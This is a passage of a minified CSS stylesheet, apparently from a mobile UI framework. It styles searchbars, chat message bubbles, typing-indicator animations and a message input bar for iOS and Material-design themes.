.searchbar-expandable.searchbar-enabled{opacity:1;height:100%;pointer-events:auto}.ios .page>.searchbar{z-index:200}.ios .navbar~.page:not(.no-navbar)>.searchbar,.ios .page>.navbar~.searchbar{top:44px}.ios .navbar~.page:not(.no-navbar)>.searchbar~* .page-content,.ios .navbar~.page:not(.no-navbar)>.searchbar~.page-content,.ios .page>.navbar~.searchbar~* .page-content,.ios .page>.navbar~.searchbar~.page-content{padding-top:88px}.ios .theme-dark .searchbar,.searchbar.ios .theme-dark{background-color:#303030}.ios .theme-dark .searchbar:after,.searchbar.ios .theme-dark:after{background-color:#282829}.ios .theme-dark .searchbar input[type=search],.ios .theme-dark .searchbar input[type=text],.searchbar.ios .theme-dark input[type=search],.searchbar.ios .theme-dark input[type=text]{background-color:#171717;color:#fff}.ios .color-theme-red .searchbar-disable-button{color:#ff3b30}.ios .color-theme-green .searchbar-disable-button{color:#4cd964}.ios .color-theme-blue .searchbar-disable-button{color:#007aff}.ios .color-theme-pink .searchbar-disable-button{color:#ff2d55}.ios .color-theme-yellow .searchbar-disable-button{color:#fc0}.ios .color-theme-orange .searchbar-disable-button{color:#ff9500}.ios .color-theme-gray .searchbar-disable-button{color:#8e8e93}.ios .color-theme-white .searchbar-disable-button{color:#fff}.ios .color-theme-black .searchbar-disable-button{color:#000}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .searchbar-inner,.ios.device-iphone-x .ios-left-edge .searchbar-inner,.ios.device-iphone-x .panel-left .searchbar-inner,.ios.device-iphone-x .popup .searchbar-inner,.ios.device-iphone-x .sheet-modal .searchbar-inner{padding-left:calc(8px + constant(safe-area-inset-left));padding-left:calc(8px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .searchbar-inner,.ios.device-iphone-x .ios-right-edge .searchbar-inner,.ios.device-iphone-x .panel-right .searchbar-inner,.ios.device-iphone-x .popup .searchbar-inner,.ios.device-iphone-x .sheet-modal .searchbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}.md .searchbar{height:48px;background:#fff}.md .searchbar input[type=search],.md .searchbar input[type=text]{padding-right:65px;padding-left:48px;-webkit-box-sizing:border-box;box-sizing:border-box;width:100%;height:100%;display:block;border:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;font-family:inherit;font-size:20px;color:#000;font-weight:400}.md .searchbar input[type=search]::-webkit-input-placeholder,.md .searchbar input[type=text]::-webkit-input-placeholder{color:#939398;opacity:1}.md .searchbar input[type=search]:-ms-input-placeholder,.md .searchbar input[type=text]:-ms-input-placeholder{color:#939398;opacity:1}.md .searchbar input[type=search]::-ms-input-placeholder,.md .searchbar input[type=text]::-ms-input-placeholder{color:#939398;opacity:1}.md .searchbar input[type=search]::placeholder,.md .searchbar input[type=text]::placeholder{color:#939398;opacity:1}.md .searchbar-expandable{height:100%}.md .searchbar-backdrop{background:rgba(0,0,0,.25)}.md .searchbar-disable-button,.md .searchbar-icon{position:absolute;width:48px;height:48px;right:-4px;top:50%;margin-top:-24px;background-size:24px 24px;background-repeat:no-repeat;background-position:center;-webkit-transition-duration:.3s;transition-duration:.3s}.md .searchbar-icon{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M15.5%2014h-.79l-.28-.27C15.41%2012.59%2016%2011.11%2016%209.5%2016%205.91%2013.09%203%209.5%203S3%205.91%203%209.5%205.91%2016%209.5%2016c1.61%200%203.09-.59%204.23-1.57l.27.28v.79l5%204.99L20.49%2019l-4.99-5zm-6%200C7.01%2014%205%2011.99%205%209.5S7.01%205%209.5%205%2014%207.01%2014%209.5%2011.99%2014%209.5%2014z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .searchbar-disable-button{-webkit-transform:rotate(-90deg) scale(.5);transform:rotate(-90deg) scale(.5);font-size:0!important;display:block;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23737373'%2F%3E%3C%2Fsvg%3E")}.md .searchbar-disable-button:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .searchbar-disable-button.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .searchbar-enabled .searchbar-disable-button{-webkit-transform:rotate(0) scale(1);transform:rotate(0) scale(1);pointer-events:auto;opacity:1}.md .searchbar-enabled .searchbar-icon{opacity:0;-webkit-transform:rotate(90deg) scale(.5);transform:rotate(90deg) scale(.5)}.md .searchbar .input-clear-button{width:48px;height:48px;margin-top:-24px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");border-radius:0;background-repeat:no-repeat;background-position:center;background-size:24px 24px;background-color:transparent;left:0}.md .searchbar .input-clear-button:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .searchbar .input-clear-button.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .searchbar .input-clear-button:after{display:none}.md .searchbar .input-clear-button:before{margin-left:0;margin-top:0}.md .page-content .searchbar{border-radius:2px;margin:8px;width:auto;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .page-content .searchbar .searchbar-inner{border-radius:2px}.md .page>.searchbar{z-index:510}.md .page>.searchbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .page>.searchbar.no-shadow:after{display:none}.md .page>.searchbar input[type=search],.md .page>.searchbar input[type=text],.md .searchbar-expandable input[type=search],.md .searchbar-expandable input[type=text],.md .subnavbar .searchbar input[type=search],.md .subnavbar .searchbar input[type=text]{padding-right:73px}.md .page>.searchbar .searchbar-disable-button,.md .page>.searchbar .searchbar-icon,.md .searchbar-expandable .searchbar-disable-button,.md .searchbar-expandable .searchbar-icon,.md .subnavbar .searchbar .searchbar-disable-button,.md .subnavbar .searchbar .searchbar-icon{right:4px}.md .searchbar-expandable{width:56px;height:100%;opacity:0;top:50%;margin-top:-28px;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);right:100%;margin-right:-56px}.md .navbar .searchbar-expandable{border-radius:28px;width:56px;margin-top:-28px;margin-right:-56px}@media (min-width:768px){.md .navbar .searchbar-expandable{border-radius:32px;width:64px;margin-top:-32px;margin-right:-64px}}.md .subnavbar .searchbar-expandable,.md .toolbar .searchbar-expandable{border-radius:24px;width:48px;margin-top:-24px;margin-right:-56px}.md .tabbar-labels .searchbar-expandable{border-radius:36px;width:72px;margin-top:-36px;margin-right:-72px}.md .searchbar-expandable.searchbar-enabled{width:100%;border-radius:0;opacity:1;pointer-events:auto;top:0;margin-top:0;right:0;margin-right:0}.md .page>.searchbar~* .page-content,.md .page>.searchbar~.page-content{padding-top:48px}.md .page>.navbar~.searchbar{top:56px}@media (min-width:768px){.md .page>.navbar~.searchbar{top:64px}}.md .page>.navbar~.searchbar~* .page-content,.md .page>.navbar~.searchbar~.page-content{padding-top:104px}@media (min-width:768px){.md .page>.navbar~.searchbar~* .page-content,.md .page>.navbar~.searchbar~.page-content{padding-top:112px}}.md .page>.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar{top:48px}.md .page>.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~* .page-content,.md .page>.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~.page-content{padding-top:96px}.md .page>.tabbar-labels:not(.toolbar-bottom-md)~.searchbar{top:72px}.md .page>.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~* .page-content,.md .page>.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~.page-content{padding-top:120px}.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar{top:104px}@media (min-width:768px){.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar{top:112px}}.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~* .page-content,.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~.page-content{padding-top:152px}@media (min-width:768px){.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~* .page-content,.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~.page-content{padding-top:160px}}.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar{top:128px}@media (min-width:768px){.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar{top:136px}}.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~* .page-content,.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~.page-content{padding-top:176px}@media (min-width:768px){.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~* .page-content,.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~.page-content{padding-top:184px}}@media (orientation:landscape){.md.device-iphone-x .ios-edges .searchbar-inner,.md.device-iphone-x .ios-left-edge .searchbar-inner,.md.device-iphone-x .panel-left .searchbar-inner,.md.device-iphone-x .popup .searchbar-inner,.md.device-iphone-x .sheet-modal .searchbar-inner{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .searchbar-inner,.md.device-iphone-x .ios-right-edge .searchbar-inner,.md.device-iphone-x .panel-right .searchbar-inner,.md.device-iphone-x .popup .searchbar-inner,.md.device-iphone-x .sheet-modal .searchbar-inner{padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right)}.md.device-iphone-x .ios-edges .searchbar-disable-button,.md.device-iphone-x .ios-right-edge .searchbar-disable-button,.md.device-iphone-x .panel-right .searchbar-disable-button,.md.device-iphone-x .popup .searchbar-disable-button,.md.device-iphone-x .sheet-modal .searchbar-disable-button{right:calc(4px + constant(safe-area-inset-right));right:calc(4px + env(safe-area-inset-right))}}.messages{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;min-height:100%;position:relative;z-index:1}.messages-title{text-align:center;width:100%;line-height:1}.message{max-width:70%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end;position:relative;z-index:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.message-avatar{border-radius:50%;position:relative;background-size:cover;-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.message-content{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.message-footer,.message-header,.message-name{line-height:1;font-size:12px}.message-footer{font-size:11px;margin-bottom:-1em}.message-bubble{-webkit-box-sizing:border-box;box-sizing:border-box;word-break:break-word;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;position:relative;line-height:1.2}.message-image img{display:block;max-width:100%;height:auto;width:auto}.message-text-footer,.message-text-header{font-size:12px;line-height:1}.message-text{text-align:left}.message-sent{text-align:right;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start}.message-received{-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse;-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end}.message-received .message-content{-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end}.message-sent .message-content{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.message:not(.message-last) .message-avatar{opacity:0}.message:not(.message-first) .message-name{display:none}.message.message-same-name .message-name{display:none}.message.message-same-header .message-header{display:none}.message.message-same-footer .message-footer{display:none}.message-appear-from-bottom{-webkit-animation:message-appear-from-bottom .3s;animation:message-appear-from-bottom .3s}.message-appear-from-top{-webkit-animation:message-appear-from-top .3s;animation:message-appear-from-top .3s}.message-typing-indicator{display:inline-block;font-size:0;vertical-align:middle}.message-typing-indicator>div{display:inline-block;position:relative;background:#000;vertical-align:middle;border-radius:50%}@-webkit-keyframes message-appear-from-bottom{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes message-appear-from-bottom{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@-webkit-keyframes message-appear-from-top{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes message-appear-from-top{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.ios .messages,.ios .messages-content{background:#fff}.ios .messages-title{font-size:11px;color:#8e8e93;margin-top:10px}.ios .messages-title:last-child{margin-bottom:10px}.ios .messages-title b{font-weight:600}.ios .message{margin-top:10px}.ios .message:last-child{margin-bottom:10px}.ios .message-avatar{width:29px;height:29px}.ios .message-footer,.ios .message-header,.ios .message-name{color:#8e8e93}.ios .message-footer b,.ios .message-header b,.ios .message-name b{font-weight:600}.ios .message-header,.ios .message-name{margin-bottom:3px}.ios .message-footer{margin-top:3px}.ios .message-bubble{font-size:17px;line-height:1.2;border-radius:16px;padding:6px 16px 9px;min-width:48px;min-height:35px}.ios .message-image{margin:6px -16px}.ios .message-image:first-child{margin-top:-6px}.ios .message-image:first-child img{border-top-left-radius:16px;border-top-right-radius:16px}.ios .message-image:last-child{margin-bottom:-9px}.ios .message-image:last-child img{border-bottom-left-radius:16px;border-bottom-right-radius:16px}.ios .message-text-header{margin-bottom:3px}.ios .message-text-footer{margin-top:3px}.ios .message-received{margin-left:10px}.ios .message-received .message-footer,.ios .message-received .message-header,.ios .message-received .message-name{margin-left:16px}.ios .message-received .message-text-footer,.ios .message-received .message-text-header{opacity:.5}.ios .message-received .message-bubble{color:#000;background:#e5e5ea;padding-left:22px;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%}.ios .message-received .message-image{margin-left:-22px}.ios .message-received.message-tail:not(.message-typing) .message-bubble{border-radius:16px 16px 16px 0;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%}.ios .message-received.message-tail:not(.message-typing) .message-bubble .message-image:last-child img{border-bottom-left-radius:0}.ios .message-sent{margin-right:10px}.ios .message-sent .message-footer,.ios .message-sent .message-header,.ios .message-sent .message-name{margin-right:16px}.ios .message-sent .message-text-footer,.ios .message-sent .message-text-header{opacity:.8}.ios .message-sent .message-bubble{background:#00d449;color:#fff;padding-right:22px;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%}.ios .message-sent .message-image{margin-right:-22px}.ios .message-sent.message-tail .message-bubble{border-radius:16px 16px 0 16px;-webkit-mask-box-image:url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%}.ios .message-sent.message-tail .message-bubble .message-image:last-child img{border-bottom-right-radius:0}.ios .message+.message:not(.message-first){margin-top:1px}.ios .message-received.message-typing .message-content:after,.ios .message-received.message-typing .message-content:before{content:'';position:absolute;background:#e5e5ea;border-radius:50%}.ios .message-received.message-typing .message-content:after{width:11px;height:11px;left:4px;bottom:0}.ios .message-received.message-typing .message-content:before{width:6px;height:6px;left:-1px;bottom:-4px}.ios .message-typing-indicator>div{width:9px;height:9px;opacity:.35}.ios .message-typing-indicator>div+div{margin-right:4px}.ios .message-typing-indicator>div:nth-child(1){-webkit-animation:ios-message-typing-indicator .9s infinite;animation:ios-message-typing-indicator .9s infinite}.ios .message-typing-indicator>div:nth-child(2){-webkit-animation:ios-message-typing-indicator .9s 150ms infinite;animation:ios-message-typing-indicator .9s 150ms infinite}.ios .message-typing-indicator>div:nth-child(3){-webkit-animation:ios-message-typing-indicator .9s .3s infinite;animation:ios-message-typing-indicator .9s .3s infinite}.ios .theme-dark .messages,.ios .theme-dark .messages-content,.messages-content.ios .theme-dark,.messages.ios .theme-dark{background-color:transparent}.ios .theme-dark .message-received.message-typing .message-content:after,.ios .theme-dark .message-received.message-typing .message-content:before{background:#333}.ios .theme-dark .message-typing-indicator>div{background-color:#fff}.ios .theme-dark .message-received .message-bubble{background-color:#333;color:#fff}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .message-received,.ios.device-iphone-x .ios-left-edge .message-received,.ios.device-iphone-x .panel-left .message-received,.ios.device-iphone-x .popup .message-received,.ios.device-iphone-x .sheet-modal .message-received{margin-left:calc(10px + constant(safe-area-inset-left));margin-left:calc(10px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .message-sent,.ios.device-iphone-x .ios-right-edge .message-sent,.ios.device-iphone-x .panel-right .message-sent,.ios.device-iphone-x .popup .message-sent,.ios.device-iphone-x .sheet-modal .message-sent{margin-right:calc(10px + constant(safe-area-inset-right));margin-right:calc(10px + env(safe-area-inset-right))}}@-webkit-keyframes ios-message-typing-indicator{0%{opacity:.35}25%{opacity:.2}50%{opacity:.2}}@keyframes ios-message-typing-indicator{0%{opacity:.35}25%{opacity:.2}50%{opacity:.2}}.md .messages,.md .messages-content{background:#eee}.md .message{margin-top:16px}.md .message:last-child{margin-bottom:16px}.md .messages-title{font-size:12px;color:rgba(0,0,0,.51);margin-top:16px}.md .messages-title:last-child{margin-bottom:16px}.md .messages-title b{font-weight:500}.md .message-avatar{width:32px;height:32px}.md .message-footer,.md .message-header,.md .message-name{color:rgba(0,0,0,.51)}.md .message-footer b,.md .message-header b,.md .message-name b{font-weight:500}.md .message-header,.md .message-name{margin-bottom:2px}.md .message-footer{margin-top:2px}.md .message-bubble{font-size:16px;border-radius:2px;padding:6px 8px;min-height:32px}.md .message-text-footer,.md .message-text-header{color:rgba(0,0,0,.51)}.md .message-text-header{margin-bottom:4px}.md .message-text-footer{margin-top:4px}.md .message-received{margin-left:8px}.md .message-received .message-bubble{color:#333;background:#fff}.md .message-received .message-avatar+.message-content{margin-left:8px}.md .message-received.message-tail .message-bubble{border-radius:2px 2px 2px 0}.md .message-received.message-tail .message-bubble:before{position:absolute;content:'';border-left:8px solid transparent;border-right:0 solid transparent;border-bottom:8px solid #fff;right:100%;bottom:0;width:0;height:0}.md .message-sent{margin-right:8px}.md .message-sent .message-bubble{color:#333;background:#c8e6c9}.md .message-sent .message-avatar+.message-content{margin-right:8px}.md .message-sent.message-tail .message-bubble{border-radius:2px 2px 0 2px}.md .message-sent.message-tail .message-bubble:before{position:absolute;content:'';border-right:8px solid transparent;border-left:0 solid transparent;border-bottom:8px solid #c8e6c9;left:100%;bottom:0;width:0;height:0}.md .message+.message:not(.message-first){margin-top:8px}.md .message-typing-indicator>div{width:6px;height:6px;opacity:.6}.md .message-typing-indicator>div+div{margin-right:6px}.md .message-typing-indicator>div:nth-child(1){-webkit-animation:md-message-typing-indicator .9s infinite;animation:md-message-typing-indicator .9s infinite}.md .message-typing-indicator>div:nth-child(2){-webkit-animation:md-message-typing-indicator .9s 150ms infinite;animation:md-message-typing-indicator .9s 150ms infinite}.md .message-typing-indicator>div:nth-child(3){-webkit-animation:md-message-typing-indicator .9s .3s infinite;animation:md-message-typing-indicator .9s .3s infinite}.md .theme-dark .messages,.md .theme-dark .messages-content,.messages-content.md .theme-dark,.messages.md .theme-dark{background-color:transparent}.md .theme-dark .messages-title{color:rgba(255,255,255,.54)}.md .theme-dark .message-footer,.md .theme-dark .message-header,.md .theme-dark .message-name{color:rgba(255,255,255,.54)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .message-received,.md.device-iphone-x .ios-left-edge .message-received,.md.device-iphone-x .panel-left .message-received,.md.device-iphone-x .popup .message-received,.md.device-iphone-x .sheet-modal .message-received{margin-left:calc(8px + constant(safe-area-inset-left));margin-left:calc(8px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .message-sent,.md.device-iphone-x .ios-right-edge .message-sent,.md.device-iphone-x .panel-right .message-sent,.md.device-iphone-x .popup .message-sent,.md.device-iphone-x .sheet-modal .message-sent{margin-right:calc(8px + constant(safe-area-inset-right));margin-right:calc(8px + env(safe-area-inset-right))}}@-webkit-keyframes md-message-typing-indicator{0%{-webkit-transform:translateY(0);transform:translateY(0)}25%{-webkit-transform:translateY(-5px);transform:translateY(-5px)}50%{-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes md-message-typing-indicator{0%{-webkit-transform:translateY(0);transform:translateY(0)}25%{-webkit-transform:translateY(-5px);transform:translateY(-5px)}50%{-webkit-transform:translateY(0);transform:translateY(0)}}.toolbar.messagebar{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);background:#fff;height:auto}.toolbar.messagebar .toolbar-inner{position:relative;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.toolbar.messagebar .messagebar-area{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;overflow:hidden;position:relative}.toolbar.messagebar textarea{width:100%;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.toolbar.messagebar a.link{-webkit-align-self:flex-end;-ms-flex-item-align:end;align-self:flex-end;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.messagebar-attachments{width:100%;overflow:auto;-webkit-overflow-scrolling:touch;font-size:0;white-space:nowrap;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative}.messagebar:not(.messagebar-attachments-visible) .messagebar-attachments{display:none}.messagebar-attachment{background-size:cover;background-position:center;background-repeat:no-repeat;display:inline-block;vertical-align:middle;white-space:normal;height:155px;position:relative}@media (orientation:landscape){.messagebar-attachment{height:120px}}.messagebar-attachment img{display:block;width:auto;height:100%}.messagebar-attachment+.messagebar-attachment{margin-right:8px}.messagebar-sheet{overflow:auto;-webkit-overflow-scrolling:touch;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-align-content:flex-start;-ms-flex-line-pack:start;align-content:flex-start;height:252px}@media (orientation:landscape){.messagebar-sheet{height:192px}}.messagebar-sheet-image,.messagebar-sheet-item{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;margin-top:1px;position:relative;overflow:hidden;height:125px;width:125px;margin-right:1px}@media (orientation:landscape){.messagebar-sheet-image,.messagebar-sheet-item{width:95px;height:95px}}.messagebar-sheet-image .icon-checkbox,.messagebar-sheet-image .icon-radio,.messagebar-sheet-item .icon-checkbox,.messagebar-sheet-item .icon-radio{position:absolute;right:8px;bottom:8px}.messagebar-sheet-image{background-size:cover;background-position:center;background-repeat:no-repeat}.messagebar-attachment-delete{display:block;position:absolute;border-radius:50%;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;-webkit-box-shadow:0 0 2px rgba(0,0,0,.2);box-shadow:0 0 2px rgba(0,0,0,.2)}.messagebar-attachment-delete:after,.messagebar-attachment-delete:before{position:absolute;content:'';left:50%;top:50%}.messagebar-attachment-delete:after{-webkit-transform:rotate(45deg);transform:rotate(45deg)}.messagebar-attachment-delete:before{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.messagebar:not(.messagebar-sheet-visible) .messagebar-sheet{display:none}.ios.device-iphone-x .messagebar:not(.messagebar-top),.md.device-iphone-x .messagebar:not(.messagebar-top){height:auto!important}.ios.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible),.md.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible){padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios.device-iphone-x .messagebar-sheet,.md.device-iphone-x .messagebar-sheet{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left);padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right);padding-bottom:constant(safe-area-inset-bottom);padding-bottom:env(safe-area-inset-bottom)}.ios .messagebar{background:#fff;min-height:44px}.ios .messagebar:before{display:none!important}.ios .messagebar textarea{background:#fff;border-radius:17px;padding:6px 15px;height:34px;line-height:20px;font-size:17px;border:1px solid #c8c8cd}.ios .messagebar a.link.icon-only:first-child{margin-left:-8px}.ios .messagebar a.link.icon-only:last-child{margin-right:-8px}.ios .messagebar a.link:not(.icon-only)+.messagebar-area{margin-left:8px}.ios .messagebar .messagebar-area+a.link:not(.icon-only){margin-left:8px}.ios .messagebar-area{margin-top:5px;margin-bottom:5px}.ios .messagebar-attachments{padding:5px;border-radius:17px 17px 0 0;border:1px solid #c8c8cd;border-bottom:none}.ios .messagebar-attachments-visible .messagebar-attachments+textarea{border-radius:0 0 17px 17px}.ios .messagebar-attachment{border-radius:12px;font-size:14px}.ios .messagebar-attachment img{border-radius:12px}.ios .messagebar-sheet{background:#d1d5da}.ios .messagebar-attachment-delete{right:5px;top:5px;width:20px;height:20px;background:#7d7e80;border:2px solid #fff;cursor:pointer}.ios .messagebar-attachment-delete:after,.ios .messagebar-attachment-delete:before{width:10px;height:2px;background:#fff;margin-left:-5px;margin-top:-1px}.ios .theme-dark .messagebar textarea,.messagebar.ios .theme-dark textarea{background-color:#000;border-color:#282829;color:#fff}.ios .theme-dark .messagebar-attachments{border-color:#282829;background-color:#000}.md .messagebar{font-size:16px}.md .messagebar:after{display:none}.md .messagebar textarea{padding:5px 8px;height:32px;color:#333;font-size:16px;line-height:22px}.md .messagebar a.link{color:#333}.md .messagebar a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .messagebar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .messagebar:before{content:'';position:absolute;background-color:#d1d1d1;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .messagebar:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .messagebar:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .messagebar-attachments{padding:8px;border-bottom:1px solid #ddd}.md .messagebar-area{margin-top:8px;margin-bottom:8px}.md 